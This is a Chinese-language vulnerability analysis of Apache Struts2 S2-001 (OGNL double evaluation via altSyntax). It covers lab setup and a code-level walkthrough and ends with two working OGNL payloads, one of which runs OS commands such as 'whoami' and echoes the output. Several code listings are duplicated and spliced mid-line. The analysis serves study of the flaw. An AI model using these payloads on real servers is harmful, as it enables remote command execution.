Struts2 vuln analysis - S2-001

Why do this

关于Struts2漏洞出现到现在,网上很多大佬已经发表过分析此系列漏洞的优秀文章。这些文献足以为我们了解struts漏洞提供足够的参考。但为什么还要写这篇文章呢,以个人观点认为,一是为分析漏洞做一个留存,俗话说好记性不如烂笔头。二是作为一个web安全研究者,在对漏洞的研究时不能旦旦是拿工具来一把梭。不仅要知其然,还要知其所以然。本文是笔者第一次分析struts2相关漏洞,撰写本文时尽管参考了多位师傅[^1]的文章,但难免还是会有说明不到位的情况,如有不妥之处还请大佬们多多斧正。

漏洞描述

此漏洞源于 Struts 2 框架中的一个标签处理功能: altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行[struts2标签解析主要依赖于xwork2,可以理解为xwork2的漏洞],攻击者通过使用 %{} 包裹恶意表达式的方式,将参数传递给应用程序,由于应用程序处理逻辑失误,导致了二次解析,造成了漏洞。

影响版本

WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

调试环境构建

IDEA 2021.3
Struts2.0.5-all
Tomcat7.0.70
JDK7

首先需要在IDEA中安装Struts2插件方便创建struts2应用程序

安装完成后重启IDEA,创建新项目,并设置tomcat

随后将下载的struts2包解压到自己能找到的路径

最后填写项目名称和项目路径即可,项目创建完成后。我们需要编写一个测试用例以便后面分析调试使用
在web目录下创建
index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%@ page language="java" contentType="text/html; charset=UTF-8"  
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001</h2>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label=<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001</h2>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />




welcome.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
<%@ page language="java" contentType="text/html; charset=UTF-8"  
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value=<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username">




更改WEB-INF下web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>  
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>

在src目录下创建包cc.saferoad.sction,并创建一个LoginAction类
LoginAction.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package cc.saferoad.action;  
/*
@auther S0cke3t
@date 2021-06-03
*/


import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;

public String getUsername() {
return this.username;
}

public String getPassword() {
return this.password;
}

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}

@Override
public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return package cc.saferoad.action;
/*
@auther S0cke3t
@date 2021-06-03
*/


import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;

public String getUsername() {
return this.username;
}

public String getPassword() {
return this.password;
}

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}

@Override
public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}

最后更改src目录下的struts.xml

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8" ?>  
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="cc.saferoad.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="cc.saferoad.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>

准备完毕后,启动项目。

漏洞分析

根据web.xml中配置的过滤器,程序首先会调用org.apache.struts2.dispatcher.FilterDispatcher的dofilter。
跟进

dofilter首先获取到当前HttpServletRequest,HttpServletResponse,ServletContext。随后调用dispatcher.serviceAction,跟进

serviceaction通过createContextMap将获取到的request,response,context放入extraContext中,随后使用ActionProxyFactory实例化一个Actionproxy动作代理。最后调用proxy的execut方法
接下来struts2会加载一系列的拦截器,其中我们需要重点关注的是ParametersInterceptor,此拦截器负责接收我们传入的参数。在加载完拦截器后,会调用invocation.invoke(也就是DefaultActionInvocation 的 invoke())

跟进

invoke中会调用invokeActionOnly,跟进

invokeActionOnly接着调用自身invokeaction,继续跟进

invokeaction通过反射方式调用用户action里的execute,开始处理用户层逻辑。在处理完用户逻辑后会调用DefaultActionInvocation 的executeResult处理请求结果,跟进

executeResult会调用result实现类的execute进行处理,随后struts会调用具体实现类ComponentTagSupport进行标签的解析
标签的开始和结束位置,会分别调用 doStartTag()doEndTag() 方法

而造成此次漏洞的正是doEndTag,直接跟进doEndTag,doEndTag会接着调用components的end
方法,end会调用自身evaluateParams


其中会判断altSyntax是否开启,如果开启会对参数值进行重新组合,随后调用addparameter,跟进其中的findvalue

findvalue会调用translateVariables取出最外层的{},此时expression的值为admin%{1+1},随后进入下一个while循环再次确定{}位置,在经过expression.substring时var的值为1+1。最后传入stack.findValue,执行表达式

POC

1
2
3
4
Pop a calc: 
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}
Execute os command:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}


参考

【Struts2-命令-代码执行漏洞分析系列】S2-001

S2-001漏洞分析
Struts2:你说你好累,已无法再爱上谁(一)